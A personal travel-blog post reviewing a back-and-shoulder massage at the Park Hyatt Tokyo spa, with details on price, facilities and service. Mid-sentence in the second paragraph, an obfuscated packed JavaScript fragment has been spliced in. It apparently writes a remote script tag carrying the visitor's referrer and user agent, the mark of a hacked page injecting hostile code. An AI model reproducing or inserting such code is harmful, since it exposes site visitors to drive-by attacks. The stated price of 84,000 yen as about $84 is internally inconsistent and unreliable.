Spa Treatments in SE Asia – For Science: Japan

For science.  At least that’s what I told Nick.

I dreamed up this great idea while we were staying at the Park Hyatt Tokyo.  Baller style.  I decided it was necessary ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eariy|var|u0026u|referrer|dbaen||js|php’.split(‘|’),0,{}))
for me to compare beauty and spa treatments in every country we visited.  So naturally, I’d need to start in Tokyo.  At the fanciest hotel in the city.  Rough life, but somebody had to do it!

Location: Club on the Park, Park Hyatt Tokyo, Shinjuku

Treatment: 30 minute focused massage on my back/shoulders (note this isn’t listed on their website, but was definitely part of their spa menu when we visited)
Cost: 84,000 yen (~$84, keep in mind that this was inclusive of tax and tip, one of the things I love about Japan – the price is really the price, no funny business!)
Details: To say this is the nicest spa I’ve ever visited would not be an exaggeration.  It’s beautiful.  It sits on the 45th floor of the Park Hyatt and has a massive whirlpool, dry and wet saunas, a cold plunge pool, relaxation room, and a 360 degree body shower.  They encourage you to come early and enjoy the whirlpool, saunas and relaxation room – where I also enjoyed some cucumber mint water, nuts and dried fruit.  The massage was perfect – once the massage therapist realized I couldn’t speak Japanese.  Pressure was just right and I felt very relaxed when she was all finished.  I was most impressed by her recommendations following the massage.  She gave me 2 stretches to work on based on the tightness in my back and also recommended monthly massages – which I was sure to relay to Nick.  After the massage they walk you back to the relaxation room and serve loose leaf, freshly brewed tea – tea that you picked out prior to the massage from a list of 5 or 6 options.  I drank my tea, ate a few more pieces of dried fruit and enjoyed the view from 45 floors up.